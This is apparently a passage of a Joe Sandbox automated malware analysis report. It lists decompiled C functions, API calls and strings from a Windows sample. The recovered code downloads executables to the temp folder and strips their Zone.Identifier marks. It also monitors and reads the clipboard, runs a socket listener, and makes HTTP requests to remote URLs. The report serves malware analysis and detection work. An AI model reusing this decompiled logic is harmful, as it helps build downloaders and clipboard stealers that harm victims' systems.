InternetCloseHandle.WININET(00000000), ref: 0040D767
Sleep.KERNEL32(000003E8), ref: 0040D772
rand.MSVCRT ref: 0040D787
Sleep.KERNEL32 ref: 0040D79E
rand.MSVCRT ref: 0040D7A4
rand.MSVCRT ref: 0040D7B8
wsprintfW.USER32 ref: 0040D7DF
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040D7FC
wsprintfW.USER32 ref: 0040D81C
DeleteFileW.KERNEL32(?), ref: 0040D82C
Sleep.KERNEL32(000003E8), ref: 0040D837
Sleep.KERNEL32(000003E8), ref: 0040D6E1

Part of subcall function 0040D1D0: CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D204
Part of subcall function 0040D1D0: CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D225
Part of subcall function 0040D1D0: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D244
Part of subcall function 0040D1D0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D25D

Sleep.KERNEL32(000007D0), ref: 0040D858
ExitProcess.KERNEL32 ref: 0040D87F
DeleteFileW.KERNEL32(?), ref: 0040D88E

Strings

%temp%, xrefs: 0040D51B
%s:Zone.Identifier, xrefs: 0040D810
%s\%d%d.exe, xrefs: 0040D7D3
%s\%d%d.exe, xrefs: 0040D5BA
%s:Zone.Identifier, xrefs: 0040D6BA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36, xrefs: 0040D5D7
]@, xrefs: 0040D874, 0040D71F

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$Sleep$Internetrand$CloseCreateDeleteHandlewsprintf$Process$ExitOpen$CountDownloadEnvironmentExpandMappingReadSizeStringsTickViewWritembstowcsmemsetsrand
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36$]@
API String ID: 3135114409-3650745090
Opcode ID: 2c9c25e0dc9ca5472f606a88119dc9f650267a02f53d8b332173f59271a64fa7
Instruction ID: 4a692bf560fa698191a4ba968421e092d812baa048ff7158642ad85748ebf153
Opcode Fuzzy Hash: 2c9c25e0dc9ca5472f606a88119dc9f650267a02f53d8b332173f59271a64fa7
Instruction Fuzzy Hash: C291C6B5D00318ABEB24DB50DC45FED7779AB88301F0484F9F609A61C1DAB99AC4CF28

Uniqueness

Uniqueness Score: -1.00%

Function 0040E400 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E0040E400(intOrPtr* _a4) {
				intOrPtr _v64;
				char _v68;
				long _v72;
				signed char _v80;
				long _v92;
				char _v96;
				char _v100;
				void* __ebx;
				void* __edi;
				void* __ebp;
				long _t31;
				long _t33;
				long _t34;
				long _t42;
				intOrPtr _t49;
				intOrPtr* _t56;
				intOrPtr _t70;
				intOrPtr* _t73;
				long _t74;
				intOrPtr _t75;
				struct _CRITICAL_SECTION* _t76;
				intOrPtr* _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t81 = (_t79 & 0xfffffff8) - 0x44;
				_t31 = GetTickCount();
				_t56 = _a4;
				_v72 = _t31;
				_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				if(_t33 == 0) {
					L25:
					return _t33;
				} else {
					goto L1;
				}
				do {
					L1:
					_t73 = _t56 + 0x18;
					__imp__WSAWaitForMultipleEvents(1, _t73, 0, 0, 0);
					if(_t33 != 0x102) {
						__imp__WSAEnumNetworkEvents( *((intOrPtr*)(_t56 + 0x14)),  *_t73,  &_v68);
						if((_v80 & 0x00000008) != 0 && _v64 == 0 &&  *_t56 == 0x494f4350) {
							_t49 =  *((intOrPtr*)(_t56 + 0x14));
							_v100 = 0x10;
							__imp__#1(_t49,  &_v96,  &_v100);
							if(_t49 != 0xffffffff) {
								_t77 = E0040DF90(_t56, _t49);
								_t81 = _t81 + 4;
								if(_t77 != 0) {
									_t15 = _t77 + 0x264; // 0x264
									E0040E220(0, _t77, _t56, _t15);
									_t81 = _t81 + 8;
									if( *((char*)(_t77 + 0x274)) == 0 &&  *_t77 == 0x69636c69) {
										E0040E7D0(_t77);
									}
								}
							}
						}
					}
					_t34 = GetTickCount();
					_t74 = _v92;
					if(_t34 - _t74 < 0x3e8) {
						if(GetTickCount() - _t74 < 0x2710) {
							goto L24;
						}
						EnterCriticalSection(_t56 + 0x20);
						_t75 =  *((intOrPtr*)(_t56 + 0x38));
						if(_t75 == 0) {
							L23:
							LeaveCriticalSection(_t56 + 0x20);
							_v92 = GetTickCount();
							goto L24;
						} else {
							goto L19;
						}
						do {
							L19:
							_t42 = InterlockedExchangeAdd(_t75 + 4, 0);
							if(E0040BE60() - _t42 >= 0x1e) {
								_t45 =  *((intOrPtr*)(_t75 + 0x260));
								if( *((intOrPtr*)(_t75 + 0x260)) != 0xffffffff) {
									E00409600(_t45);
									_t81 = _t81 + 4;
									 *((intOrPtr*)(_t75 + 0x260)) = 0xffffffff;
								}
							}
							_t75 =  *((intOrPtr*)(_t75 + 0x280));
						} while (_t75 != 0);
						goto L23;
					}
					_t76 = _t56 + 0x20;
					EnterCriticalSection(_t76);
					_t70 =  *((intOrPtr*)(_t56 + 0x38));
					if(_t70 == 0) {
						L16:
						LeaveCriticalSection(_t76);
						goto L24;
					}
					while( *((intOrPtr*)(_t70 + 0x260)) != 0xffffffff) {
						_t70 =  *((intOrPtr*)(_t70 + 0x280));
						if(_t70 != 0) {
							continue;
						} else {
							LeaveCriticalSection(_t76);
							goto L24;
						}
					}
					E0040E300(_t56, _t70, _t78);
					goto L16;
					L24:
					_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				} while (_t33 != 0);
				goto L25;
			}

APIs

GetTickCount.KERNEL32 ref: 0040E40C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E41F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 0040E439
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 0040E456
accept.WS2_32(?,?,?), ref: 0040E488
GetTickCount.KERNEL32 ref: 0040E4D6
EnterCriticalSection.KERNEL32(?), ref: 0040E4E9
LeaveCriticalSection.KERNEL32(?), ref: 0040E50A
LeaveCriticalSection.KERNEL32(?), ref: 0040E51B
GetTickCount.KERNEL32 ref: 0040E523
EnterCriticalSection.KERNEL32(?), ref: 0040E532
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E545
LeaveCriticalSection.KERNEL32(?), ref: 0040E585
GetTickCount.KERNEL32 ref: 0040E58B
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E59B

Strings

ilci, xrefs: 0040E4C1
PCOI, xrefs: 0040E46A

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 7de50fc9b847bb9cb6d9daba69930cc06020703a9bfd8fd8c2bb306a6a974427
Instruction ID: 917b59bc2a3588b9956fd89eac52db2b1e6dcbcc9db4fe113c03d7dfd46bf168
Opcode Fuzzy Hash: 7de50fc9b847bb9cb6d9daba69930cc06020703a9bfd8fd8c2bb306a6a974427
Instruction Fuzzy Hash: 29413671500200ABCB209F75DC8CB9B77A9AF44714F048E3EF955A72C1EB78E891CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD60 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0040CD60(char* _a4, char* _a8, void* _a12, long* _a16) {
				char _v260;
				char _v772;
				char* _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				long _v856;
				void _v1884;
				long _v1888;
				void* _t102;
				void* _t103;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t103 = _t102 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA("Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)", 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "POST",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							HttpAddRequestHeadersA(_v848, _a8, 0xffffffff, 0xa0000000);
							_v852 = "Content-Type: text/xml; charset=\"utf-8\"\r\nConnection: Close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n";
							if(HttpSendRequestA(_v848, _v852, 0xffffffff, _a12,  *_a16) != 0) {
								_v856 = 0;
								while(1 != 0) {
									_t98 = _v848;
									if(InternetReadFile(_v848,  &_v1884, 0x400,  &_v1888) != 0 && _v1888 != 0) {
										_v776 = E00408B60(_v776, _t98, _v776, _v856 + _v1888);
										memcpy( &(_v776[_v856]),  &_v1884, _v1888);
										_t103 = _t103 + 0x14;
										_v856 = _v856 + _v1888;
										continue;
									}
									break;
								}
								 *_a16 = _v856;
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}

APIs

memset.NTDLL ref: 0040CD88
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040CDD8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040CDEB
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040CE24
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040CE5A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040CE85
HttpSendRequestA.WININET(00000000,004108D0,000000FF,00009E34), ref: 0040CEAF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040CEEE
memcpy.NTDLL(00000000,?,00000000), ref: 0040CF40
InternetCloseHandle.WININET(00000000), ref: 0040CF71
InternetCloseHandle.WININET(00000000), ref: 0040CF7E
InternetCloseHandle.WININET(00000000), ref: 0040CF8B

Strings

Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040CDE6
<, xrefs: 0040CD90
POST, xrefs: 0040CE4E

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: c6376e83d60c8fd7847bc7aaada5821a3adf07af9ef20e77e1c46dfbd3437302
Instruction ID: ea500a29b1865390ea74af70c7a13144c6f50436d918f4b951375f33d6e11f24
Opcode Fuzzy Hash: c6376e83d60c8fd7847bc7aaada5821a3adf07af9ef20e77e1c46dfbd3437302
Instruction Fuzzy Hash: 0A512CB5900228ABDB26DF54CC94BD973BDAB48705F1081E9B60DA62C0C7B86FC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004041A0 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E004041A0(struct HWND__* _a4, int _a8, int _a12, struct HWND__* _a16) {
				struct HWND__* _v8;
				int _v12;
				struct HWND__* _v16;
				void* _v20;
				void* _v24;
				short _v26;
				short _v30;
				int _v32;
				short _v34;
				char _v36;
				int _v40;
				int _v44;
				struct HWND__* _t90;
				struct HWND__* _t97;
				struct HWND__* _t98;
				void* _t129;

				_v8 = GetWindowLongW(_a4, 0xffffffeb);
				_v40 = _a8;
				if(_v40 > 0x308) {
					if(_v40 == 0x30d) {
						if(_a12 != _v8) {
							if(_v8 != 0) {
								SendMessageA(_v8, _a8, _a12, _a16);
							}
						} else {
							_v8 = _a16;
							SetWindowLongW(_a4, 0xffffffeb, _v8);
						}
						goto L38;
					} else {
						L38:
						return DefWindowProcA(_a4, _a8, _a12, _a16);
					}
				}
				if(_v40 == 0x308) {
					_v12 = 0;
					if(IsClipboardFormatAvailable(0xd) == 0) {
						if(IsClipboardFormatAvailable(1) == 0) {
							if(IsClipboardFormatAvailable(7) != 0) {
								_v12 = 7;
							}
						} else {
							_v12 = 1;
						}
					} else {
						_v12 = 0xd;
					}
					if(_v12 == 0 || OpenClipboard(0) == 0) {
						L34:
						if(_v8 != 0) {
							SendMessageA(_v8, _a8, _a12, _a16);
						}
					} else {
						_v24 = GetClipboardData(_v12);
						if(_v24 != 0) {
							_v20 = GlobalLock(_v24);
							if(_v20 != 0) {
								_v16 = 0;
								_v44 = _v12;
								if(_v44 == 1) {
									_t90 = E00403FB0(_v20, 0, 0);
									_t129 = _t129 + 0xc;
									_v16 = _t90;
								} else {
									if(_v44 == 7) {
										_t97 = E004040D0(_v20, 0, 0);
										_t129 = _t129 + 0xc;
										_v16 = _t97;
									} else {
										if(_v44 == 0xd) {
											_t98 = E00403EF0(_v20, _v20, 0);
											_t129 = _t129 + 8;
											_v16 = _t98;
										}
									}
								}
								GlobalUnlock(_v24);
								CloseClipboard();
								if(_v16 != 0) {
									E00403480(_v16);
									E00408C70(_v16);
								}
								goto L34;
							}
							goto L38;
						}
					}
					goto L38;
				}
				if(_v40 == 1) {
					_v8 = SetClipboardViewer(_a4);
					SetWindowLongW(_a4, 0xffffffeb, _v8);
				} else {
					if(_v40 == 2) {
						_v36 = 0;
						_v34 = 0;
						_v30 = 0;
						_v26 = 0;
						_v36 = 1;
						_v34 = 6;
						_v32 = 1;
						__imp__RegisterRawInputDevices( &_v36, 1, 0xc);
						ChangeClipboardChain(_a4, _v8);
					}
				}
				goto L38;
			}

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041AC
SetClipboardViewer.USER32 ref: 004041F8
SetWindowLongW.USER32 ref: 0040420B
IsClipboardFormatAvailable.USER32(0000000D), ref: 00404260
OpenClipboard.USER32(00000000), ref: 004042A7
GetClipboardData.USER32 ref: 004042B9
RegisterRawInputDevices.USER32 ref: 004043C0
ChangeClipboardChain.USER32 ref: 004043CE
DefWindowProcA.USER32(?,?,?,?), ref: 004043E4

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: d6eb097551fe403484d6df1eea500d8dda5268cf33ca3084c7f7c11ec5fa5c98
Instruction ID: 12af2944b2afbdd2840b1e0cc58b104c1e1997fab1ca1becb874473cf393234d
Opcode Fuzzy Hash: d6eb097551fe403484d6df1eea500d8dda5268cf33ca3084c7f7c11ec5fa5c98
Instruction Fuzzy Hash: 927111B4A00208EFDF14DF94D948BEE77B4AF88305F14856AFA05B72D0D7799A40CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040E0E0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 93
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E0040E0E0(intOrPtr* __edi) {
				void* __esi;
				void* _t25;
				long _t40;
				intOrPtr* _t53;
				intOrPtr* _t55;
				void* _t56;
				LONG* _t62;

				_t53 = __edi;
				if(__edi == 0 ||  *__edi != 0x494f4350) {
					return _t25;
				} else {
					_t1 = _t53 + 0x20; // 0x20
					EnterCriticalSection(_t1);
					_t55 =  *((intOrPtr*)(__edi + 0x38));
					if(_t55 == 0) {
						L11:
						_t13 = _t53 + 0x20; // 0x20
						LeaveCriticalSection(_t13);
						SetEvent( *(_t53 + 0x10));
						_t56 = 0;
						if( *((intOrPtr*)(_t53 + 4)) <= 0) {
							L14:
							E0040BC90( *((intOrPtr*)(_t53 + 0xc)), 0xffffffff);
							E0040BDD0( *((intOrPtr*)(_t53 + 0xc)));
							CloseHandle( *(_t53 + 8));
							CloseHandle( *(_t53 + 0x10));
							__imp__WSACloseEvent( *((intOrPtr*)(_t53 + 0x18)));
							E00409600( *((intOrPtr*)(_t53 + 0x14)));
							_t24 = _t53 + 0x20; // 0x20
							DeleteCriticalSection(_t24);
							return E00408C70(_t53);
						}
						do {
							PostQueuedCompletionStatus( *(_t53 + 8), 0, 0, 0);
							_t56 = _t56 + 1;
						} while (_t56 <  *((intOrPtr*)(_t53 + 4)));
						goto L14;
					} else {
						goto L3;
					}
					do {
						L3:
						if( *_t55 == 0x69636c69) {
							if( *((char*)(_t55 + 0x275)) == 0) {
								_t62 = _t55 + 0x21c;
								_t40 = InterlockedExchangeAdd(_t62, 0);
								if(_t40 == 0) {
									 *(_t55 + 0x230) = _t40;
									 *((intOrPtr*)(_t55 + 0x220)) = 1;
									 *((intOrPtr*)(_t55 + 0x228)) = _t55 + 8;
									 *((intOrPtr*)(_t55 + 0x22c)) = 0x200;
									InterlockedIncrement(_t62);
									if(E0040E730(_t55) == 0) {
										InterlockedDecrement(_t62);
									}
								}
							}
						}
						_t55 =  *((intOrPtr*)(_t55 + 0x280));
					} while (_t55 != 0);
					goto L11;
				}
			}

APIs

EnterCriticalSection.KERNEL32(00000020,0040B950,?,0040EC84), ref: 0040E0FA
InterlockedDecrement.KERNEL32(?), ref: 0040E126
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E13E
InterlockedIncrement.KERNEL32(?), ref: 0040E16C
InterlockedDecrement.KERNEL32(?), ref: 0040E17C
LeaveCriticalSection.KERNEL32(00000020,?,0040EC84), ref: 0040E194
SetEvent.KERNEL32(?,?,0040EC84), ref: 0040E19E
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,0040EC84), ref: 0040E1BB
CloseHandle.KERNEL32(?), ref: 0040E1E4
CloseHandle.KERNEL32(?), ref: 0040E1EA
WSACloseEvent.WS2_32(?), ref: 0040E1F0
DeleteCriticalSection.KERNEL32(00000020,?,?,?,0040EC84), ref: 0040E206

Strings

ilci, xrefs: 0040E10B
PCOI, xrefs: 0040E0E8

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: 24bc7e855fdf49573c30e595b41f6c55b623b0266ed7625da85c1981aca9c43c
Instruction ID: 4e090b2b2d95b5b5db58c8e8021d4e4c0217c2d5e17fa086addfc70fe82b675d
Opcode Fuzzy Hash: 24bc7e855fdf49573c30e595b41f6c55b623b0266ed7625da85c1981aca9c43c
Instruction Fuzzy Hash: 6E319871500705BBD7109F71EC48F97B7A8BF09300F048A2EE959A7691C778F9A4CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004043F0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E004043F0() {
				struct HWND__* _v8;
				struct tagMSG _v36;
				struct _WNDCLASSEXW _v84;
				short _v596;
				unsigned int _t20;
				void* _t39;
				void* _t40;

				do {
					_v84.cbSize = 0;
					memset( &(_v84.style), 0, 0x2c);
					_t40 = _t39 + 0xc;
					_v84.cbSize = 0x30;
					_v84.lpfnWndProc = E004041A0;
					_v84.hInstance = GetModuleHandleW(0);
					_v84.lpszClassName =  &_v596;
					do {
						Sleep(1);
						_t20 = GetTickCount();
						wsprintfW( &_v596, L"%x%X", GetTickCount(), _t20 >> 1);
						_t40 = _t40 + 0x10;
					} while ((RegisterClassExW( &_v84) & 0x0000ffff) == 0);
					_v8 = CreateWindowExW(0, _v84.lpszClassName, 0, 0, 0, 0, 0, 0, 0xfffffffd, 0, _v84.hInstance, 0);
					if(_v8 != 0) {
						while(GetMessageA( &_v36, 0, 0, 0) > 0) {
							TranslateMessage( &_v36);
							DispatchMessageA( &_v36);
						}
						goto L7;
					}
					break;
					L7:
				} while (0 != 0);
				ExitThread(0);
			}

APIs

memset.NTDLL ref: 00404408
GetModuleHandleW.KERNEL32(00000000), ref: 00404420
Sleep.KERNEL32(00000001), ref: 00404434
GetTickCount.KERNEL32 ref: 0040443A
GetTickCount.KERNEL32(00000000), ref: 00404443
wsprintfW.USER32 ref: 00404456
RegisterClassExW.USER32(00000030), ref: 00404463
CreateWindowExW.USER32 ref: 0040448C
GetMessageA.USER32 ref: 004044A7
TranslateMessage.USER32(?), ref: 004044B5
DispatchMessageA.USER32 ref: 004044BF
ExitThread.KERNEL32 ref: 004044D1

Strings

%x%X, xrefs: 0040444A
0, xrefs: 00404410

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: fefae300a6ae166907af6779e4e4d81ad735c504abc0138177021c7cc3709374
Instruction ID: 3e2b717ade092063a9efcdadcacb4b05de8fa546afe9c034d67f52ff400308d4
Opcode Fuzzy Hash: fefae300a6ae166907af6779e4e4d81ad735c504abc0138177021c7cc3709374
Instruction Fuzzy Hash: 732121B0940318ABEB109BE0DC4DFEE7B78BB48701F548529F601B61D0DBB995448B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040C260 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E0040C260(char* _a4, char** _a8) {
				char _v260;
				char _v772;
				long _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				void _v1876;
				long _v1880;
				void* _t91;
				void* _t92;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t92 = _t91 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA(0, 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "GET",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							if(HttpSendRequestA(_v848, 0, 0, 0, 0) != 0) {
								if(_a8 == 0) {
									_v776 = 1;
								} else {
									_v852 = 0;
									while(1 != 0) {
										_t87 = _v848;
										if(InternetReadFile(_v848,  &_v1876, 0x400,  &_v1880) != 0 && _v1880 != 0) {
											_v776 = E00408B60(_v776, _t87, _v776,  &(_v852[_v1880]));
											memcpy( &(_v852[_v776]),  &_v1876, _v1880);
											_t92 = _t92 + 0x14;
											_v852 =  &(_v852[_v1880]);
											continue;
										}
										break;
									}
									 *_a8 = _v852;
								}
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}

APIs

memset.NTDLL ref: 0040C288
InternetCrackUrlA.WININET(0040D079,00000000,10000000,0000003C), ref: 0040C2D8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C2E8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C321
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C357
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C37F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C3C8
memcpy.NTDLL(00000000,?,00000000), ref: 0040C41A
InternetCloseHandle.WININET(00000000), ref: 0040C457
InternetCloseHandle.WININET(00000000), ref: 0040C464
InternetCloseHandle.WININET(00000000), ref: 0040C471

Strings

<, xrefs: 0040C290
GET, xrefs: 0040C34B

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: dab37fe1cf5ad5345423841208ea45a88af8b8a36c3041dfe8d9034034847e97
Instruction ID: fb11e20dfced737966d96b67562c2227f08ee783dca279ae1717ab20ae365a52
Opcode Fuzzy Hash: dab37fe1cf5ad5345423841208ea45a88af8b8a36c3041dfe8d9034034847e97
Instruction Fuzzy Hash: 44513EB1941228ABDB36CB50CC95BE973BCBB44705F0081E9A60DAA2C0D7B96FC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004054A0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E004054A0() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v24;
				short _v556;
				short _v2604;
				intOrPtr _v2608;
				union _ULARGE_INTEGER _v2612;
				long _v2616;
				short _v3148;
				intOrPtr _v3152;
				intOrPtr _t34;
				intOrPtr _t38;
				struct %anon54 _t43;
				intOrPtr _t63;
				void* _t68;
				void* _t69;
				void* _t70;

				Sleep(0x3e8);
				GetModuleFileNameW(0, 0x4163c0, 0x104);
				_t34 = E0040D180(0x4163c0);
				_t69 = _t68 + 4;
				 *0x4163b8 = _t34;
				while(1 != 0) {
					_v8 = E00404CB0();
					_v12 = 2;
					while(_v12 <= 0x19) {
						_t38 = E00404C50(_v8, _v12,  &_v24);
						_t69 = _t69 + 0xc;
						_v16 = _t38;
						_v3152 = _v16;
